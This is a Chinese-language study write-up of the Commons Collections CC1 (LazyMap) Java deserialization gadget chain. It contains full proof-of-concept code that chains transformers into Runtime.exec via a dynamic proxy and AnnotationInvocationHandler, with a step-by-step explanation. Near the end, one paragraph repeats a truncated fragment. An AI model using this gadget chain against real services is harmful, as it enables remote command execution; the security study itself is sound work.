javacc1链的lazymap部分
思路
创建一个lazymap的动态代理,然后传入AnnotationInvocationHandler的变量里,当调用方法时(代理对象的方法),自动触发代理,进入AnnotationInvocationHandler的invoke方法从而触发lazy的get方法,然后就是ChainedTransformer了,与上一条链一样,大体思路
源码
先贴上源码,以下链来源于p神师傅
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
动态代理
在这之前我们先了解一下什么是动态代理
我先举个例子来自y4师傅
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.String;
import java.lang.reflect.Proxy;
public class demo1 {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("getFlag")) {
System.out.println("就这?");
}
return null;
}
};
flag getFlag = (flag) Proxy.newProxyInstance(
GiveFlag.class.getClassLoader(),
new Class[] { flag.class },
handler);
getFlag.getFlag();
}
}
interface flag {
void getFlag();
}
class GiveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}
结果输出 就这
我对动态代理的理解是
一个实现接口的实现类重写的接口的方法,我们可以用一个代理对象来包裹这个实现类,使用Proxy.newProxyInstance方法来生成一个代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
三个参数分别是:代理类的构造器,代理类实现的接口,实现InvocationHandler接口的对象,里面一般包含着功能逻辑(一般来说主要是invoke方法)。当我们的代理对象执行方法时会自动跳到InvocationHandler对象的invoke方法(invoke方法中会获取到执行的方法并用反射来调用被代理的类的方法)我们简单了解了动态代理之后,我们就来分析一下
链分析
首先我们发现,lazymap中也有get方法,并且我们可以控制参数
再看看lazy的构造方法
发现传入一个map和Transformer对象,我们只要让这个Transformer等于我们构造的ChainedTransformer就ok了,下一步看看有谁的方法调用了lazymap的get方法
我们想的最好的情况是正好有一个类的readobject方法调用,那么这条链直接成了,但作者找的还是AnnotationInvocationHandler,我们来看一下为什么要这么做
我们先看哪个方法中那个地方调用了get方法
发现是他的invok方法,并且我们这个memberValue我们是可以传入的,他的类型就是一个map,我们看到这就应该能想到动态代理了,我们发现AnnotationInvocationHandler其实就是InvocationHandler接口的一个实现类,那也就是说我们代理对象的第三个参数就可以直接实例一个AnnotationInvocationHandler对象,逻辑就由其的Invoke方法确定
现在我们的思路就是怎么把readObject的起点连到这里
我们看到AnnotationInvocationHandler的readObject方法中调用了memberValue的entrySet方法,想一下我们把memberValue变量传入动态代理的对象,当调用entrySet方法时就去调用invoke方法,然后正好通过invoke的逻辑判断
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
entrySet是无参方法,绕过两层if执行memberValues.get(var4),
构造代码
下面我们来构造代码
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
创建lazymap,传入tranformerChain(看上面源代码)
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
反射创建AnnotationInvocationHandler
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
创建handler,向上转型为InvocationHandler对象,并在newProxyInstance里传入,这时我们还需要最外层对proxyMap进行一个封装,也就是我们还需要一个AnnotationInvocationHandler对象,我是这么写的
Object Annotation =construct.newInstance(Retention.class,proxyMap );
然后对Annota进行反序列化就行了
roxyMap进行一个封装,也就是我们还需要一个AnnotationInvocationHandler对象,我是这么写的
Object Annotation =construct.newInstance(Retention.class,proxyMap );
然后对Annota进行反序列化就行了
没太搞懂最后动态代理在AnnotationInvocationHandler那里的应用,所以推迟了几天
y4师傅的文章
https://y4tacker.blog.csdn.net/article/details/117448761?spm=1001.2014.3001.5502